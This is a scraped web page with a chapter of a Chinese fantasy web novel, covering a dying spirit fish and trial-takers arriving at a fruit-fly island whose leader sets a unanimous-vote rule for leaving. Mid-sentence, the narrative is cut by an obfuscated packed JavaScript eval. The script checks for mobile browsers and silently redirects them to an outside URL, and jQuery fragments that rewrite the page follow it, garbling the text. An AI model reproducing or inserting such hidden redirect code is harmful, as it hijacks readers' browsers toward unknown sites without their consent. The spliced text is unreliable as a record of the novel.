83.双子塔(十五)
作品:《在无限废土当怪物之王》 两个穿着吉普赛长裙的女人站在碎裂的空间中央。
佐塔强行搭建的空间此刻正在不断崩塌,无数细碎的泡沫飘起,沉入深不见底的黑暗。
鱼的身体断成了两截。
巨大的黑白鱼,此刻只剩下残破的半边,尾鳍还在轻轻摆动,只是速度越来越慢。
“不自量力的东西,妄图攻击我们?”红裙女郎捂着受伤的手臂。
只可惜,鱼的拼死一搏,不过就切开了一条小口子而已,现在那条口子正在飞速愈合。
女郎的手狠狠在虚空轻轻一抓,鱼就被扯断了鱼鳍,它痛苦的张着嘴,连声音都发不出来。
“你到底从塔里偷走了什么?”白裙女郎飞近。
她能感受到精神图景里似乎少了什么,但是此刻完全想不起来了。
“没有用的。”红裙女郎挑了挑眉,“无论你偷走了什么,都走不出这里,这里可是……”
两个女郎相视一笑。
她们不再理会鱼,仿佛倒在她们面前的不过是已经报废的工具。
她们毫不留情的转身。
长裙在碎裂的空间里划过两道弧线,最后消失在崩塌的尽头。
鱼的精神力已经快燃尽了,但它还是释放出自己的本体——一颗小小的圆球。
圆球沿着正在崩溃的精神图景,一点一点,往深渊里游去。
它游的很快。
像很久很久以前,在深海里那样。
深渊下静静躺着一个少女,佐塔轻轻落在蒋宝珠身边。
两个人偎依在一起,无数光点从两个人的身体飘出,像星尘一样。
那些发亮的星尘纠缠在一起,就像拥抱一样。
人类总是会以“下辈子怎么怎么样”来诉说自己的遗憾。
之前,它总是嗤之以鼻。
可是此时此刻,它终于理解了,因为它在临死一刻也生出来这样的想法。
下辈子。
下辈子成为人类就好了。
它希望拥有人类的双手。
这样,就可以真的抱抱宝珠了。
星子沉入黑暗,很快寂灭。
………………………………
出了第七层,蒋军桥就恢复了人类少女的模样,藏在了鹤爻的精神图景里。
刚开始鹤爻有点不适应,但好在蒋军桥不像佐塔,她安安静静的呆在角落里,很少会主动与鹤爻交流。
爱塔第八层,出乎意料。
这里不同于其余七层的居民区,而是一处无光的洞穴。
鹤爻将火把握在手里,火焰带来的光明和热度稍稍驱散了洞穴中无孔不入的阴冷湿气。
脚下根本算不上路,而是一层又一层湿滑无比,覆盖着厚厚青苔的岩石。
几个人走在泛着油光的路上,稍有不慎就打滑摔跤。
也不知道走了多远,岩壁上开始不断渗出水珠,将原本就湿滑的地面弄得更加泥泞难行。
“我的天……住在这种地方的,不会是老鼠人吧?”程玉宁正说着,脚下一滑,抓住一块凸起的石头才稳住身形。
掌心湿漉漉的,沾满了冰冷的粘液和青苔碎屑,恶心得她直甩手。
“只要不是蟑螂人,我都还可以接受。”钱朔语气听上去有点悲壮。
“小心点,这石头下面有裂缝,滑下去不知道会掉到哪里。”刘思源举着火把照了照。
他自己也走得颇为艰难,眼镜片上很快蒙上了一层水汽,不得不时常擦拭。
“有东西过来了。”
走在最前面的鹤爻忽然停住脚步。
她的蜘蛛复眼里,一团红色的热点正在黑暗中快速移动,速度极快,而且越来越近。
身后几人纷纷掏出武器,凝神屏息。
虽然不能攻击爱塔人,但防御还是可以的。
热点的速度太快了,紧贴着墙壁,几乎看不清形状。
蜘蛛感知让鹤爻无视黑暗,她眯起眼睛。
那形状,有点像……
壁虎?
等等。
她脑子里忽然闪过一个念头。
来不及多想,那团黑影已经冲到了火把能够照亮的范围边缘,银光一闪,鹤爻举起火焰长刀,骨鞭碰撞后弹在墙壁上。
火焰跳动了一下,照亮了鹤爻的脸,那人忽然顿住。
“……指挥?”
黎青青从岩壁滑下,变成人形,飞扑进鹤爻怀里,惊喜极了。
“指挥真的是你!你们怎么会出现在战塔?”
鹤爻被她撞得后退半步,伸手扶住她的肩膀,皱眉说:“战塔?”
“战塔?”身后的程玉宁冒出头来,她在对讲机里听过黎青青的声音,所以一下子就认出来了,她也愣住了。
“可是这里是爱塔啊。”
黑暗深处,霍鹰等人很快走出来,几人将事情原委交代了一遍,原来霍鹰她们杀掉了第七层的螺人后,推开门后也走入了这个洞穴
“这里,应该是战塔和爱塔的交汇处。”鹤爻看着周围的岩壁,若有所思。
“交汇,为什么会出现交汇?”任鸢不太了解,在她的意识里,两座塔应该是相互独立的。
“也许第八层,需要我们共同完成?”廖小飞猜测。
“管他呢,反正咱们和指挥汇合了,是好事不是吗?”无错笑着说,难得乐观。
注意到鹤爻一直没说话,霍鹰问她:“你是不是想到了什么?”
鹤爻低着头,摇摇头。
她总觉得哪里怪怪的,但又说不上来。
“还不太确定。”她说,“先走一步看一步吧。”
时间不多了,前七层已经耽搁了两天,程玉宁她们只剩下五天时间了。
几人继续往洞穴深处探索,没走多久,眼前豁然开朗。
一个平台上,出现了两条路。
一条红色,路面燃着火焰,热浪扑面。一条白色,覆着霜雪,寒气刺骨。
这很容易让人联想到两座塔,
“看来,真的只是简单交汇,”霍鹰拍了拍鹤爻的肩膀,笑了笑,“咱们又得分道扬镳了。”
几人再次分开。
鹤爻走向红色的那条路,火焰在脚下跳跃,但走了没多久,路就到了尽头,一道垂直的楼梯,通往上方。
几人顺着楼梯攀爬,推开头顶的门,光涌进来。
蓝天,白云,海水的气息,还有头顶来回盘旋的海鸥。
他们站在一座小岛上。
“这是第九层?”程玉宁四处张望,很快找到了标有九字的界碑,满脸不可思议,“就这么到了?八层呢?不用闯关?”
鹤爻也很疑惑,她在心中唤了一声,佐塔很快回应。
「抱歉,我也不知道是怎么回事。」
「我一直呆在第一层,从来没有上来过。」
「海,大海……」
「可惜,是假的。」
「唔,我什么时候才能回到大海里呢?」
鹤爻在心底白了她一眼,看来还是只能靠自己,就在这时,身后传来动静。
管道口再次被顶开,霍鹰等人一个个狼狈地往外挤。
“那边根本就没路!”无错一出来就瘫在地上。
“我们顺着那条路走,尽头出现了一条楼梯,可那楼梯断在半空中,下面就是悬崖!”
“嗯嗯,我还差点掉下去,好在青青拉了我一把。”廖小扬气喘吁吁。
霍鹰说:“后来我们折返,顺着你们的路走到了这里。”
顿了顿,知道鹤爻的顾虑,她说:“青青已经侦查过,这是通往第九层唯一的路。”
鹤爻没说话。
她看着眼前这座阳光明媚的小岛,又看看身后那个刚刚被顶开的管道口。
两路人,两条不同的路。
一条通往悬崖,一条通往九层。
所以,八层就是交汇处,让她们同时从一条路前往九层?
很奇怪,但似乎也没有其他原因解释。
“这里好开阔啊……”无错忍不住发出一声惊叹,“和战塔完全不一样。”
张开双臂,感受着带着咸味的海风和久违的毫无遮挡的阳光。
经历了前七层无情的屠杀,眼前这片蔚蓝的天和金色的沙滩简直像是天堂一样,包括霍鹰在内的其他人,都有这样的想法。
不过这种放松的情绪也只存在了一小会,就立刻崩起神经。
她们已经不是新兵蛋子了,和变异生物的数次搏杀,让他们早就明白了一个道理——
看似越安全的地方越危险。
鹤爻眯起眼,适应着光线。
她环顾
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331384|194206||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
四周,这座小岛面积不小,郁郁葱葱生长着一些热带植物,中心似乎有隐隐绰绰楼宇的影子。
就在这时,远处棕榈树林的阴影里,传来了密集的声音,像是无数细小翅膀高速振动,且越来越近。
众人立刻拔出武器,戒备起来。
“这一批的试炼者竟然活下来十个哎。”一个果蝇人从树林里探出脑袋,复眼在阳光下泛着诡异的彩光。
“能闯到这里,真不容易。”另一个扇动着透明翅膀,悬在半空中。
“那个那个,我看上那个拿刀的了,你们谁都不可以跟我抢!”
说话的果蝇人目光放肆的在鹤爻身上打转,这让黎青青极不舒服。
几乎是本能地往前跨了一步,用身体挡住了那道视线。
“唔……是只壁虎呢,我喜欢,这个我要了。”又有一个果蝇人从树上钻出来,笑眯眯的看着黎青青。
这些挤在一起的果蝇人都是女性。
她们拥有着近乎完美的人类女性的面容,皮肤有的十分白皙,有的则是健康的小麦色,五官立体深邃,长发或卷或直,带着一种异域风情。
但除了头颅之外,身体完全是一只果蝇,胸口油亮光滑,关节处有细小的倒刺,手臂和腿部线条呈现出节肢动物的分段感,背后是收拢着的两对翅膀。
鹤爻很不喜欢这些东西打量自己的眼神,她们脸上是兴奋、好奇、评估,以及毫不掩饰的强烈占有欲。
这让她有种自己成为商品的感觉。
“族长来了——”
“快让让!”
忽然远处传来一阵骚动。
原本那群挤在一起的蝇人纷纷往两边退去,翅膀收拢,低着头,态度恭敬得像见到了什么大人物。
鹤爻眯起眼睛,顺着那条让开的通道看过去。
一个更加高挑的女性果蝇正快步走来。
她的身体结构看上去更加强壮,宽阔的肩膀,精壮的腰身,覆盖着细密绒毛的胸口微微起伏,六条节肢长腿稳健有力,背后两对翅膀比其他的更大更完整。
她走到众人面前,停下脚步,目光扫过每一个人,笑了起来。
“欢迎来到果蝇小岛。”她的声音低沉,带着一种奇特的磁性,“我是这里的族长,你们可以叫艾拉。”
鹤爻的眉头微微皱起。
她忽然意识到,艾拉,不,应该说这整座岛上的蝇人和其他双塔人都不同。
这些蝇人清晰的知道,她们是来这里的试炼者。
“我知道你们心中定有诸多疑问,”族长负手而立,姿态从容,“那么就由我来给大家简要说明一下。”
她顿了顿,张开双臂。
无数蝇人从树上飞下,簇拥在她的身后,目光或好奇或探寻的打量着。
艾拉说:“这里是战塔,也是爱塔的顶端,两座塔在这里是联通的。”
“所以,爱塔和战塔的规则在小岛都适用,你们可以选择用爱来感化我们,也可以选择用暴力来驯服我们。”
“不过,我们并不想伤害你们。”族长微笑着说,“我也保证,岛上的任何一个人都不会伤害你们。”
“当然,闯过这一层,你们就通关了。”
通关。
这两个字让所有人精神一振。
“怎么才算通关?”鹤爻问。
族长抬头看了一眼天空。
太阳正悬在海面上方,光线开始变得柔和,快要落山了。
“已经很晚了,请你们在小岛住下吧,”族长收回视线,“从明天早上开始,你们每天有一次投票的机会。”
“投票?”鹤爻说。
“对,全员投票。”族长看着她们,嘴角的笑意加深,“十个人,匿名投票,选择出岛或者不出岛。”
“任何人,都不可以用暴力威胁当事人,你们十个如果全员都选择了同意出岛,我就放你们出去。”
众人面面相觑。
这也太简单了吧。
哪个傻子会想要呆在这里?
而正是因为规则太简单,鹤爻心中才更不安,她问:“如果有人不同意呢?”
族长没有立刻回答。
她只是看了看天边。
声音很轻声说:
“那就都得留在这里。”
“成为我们的一员。”

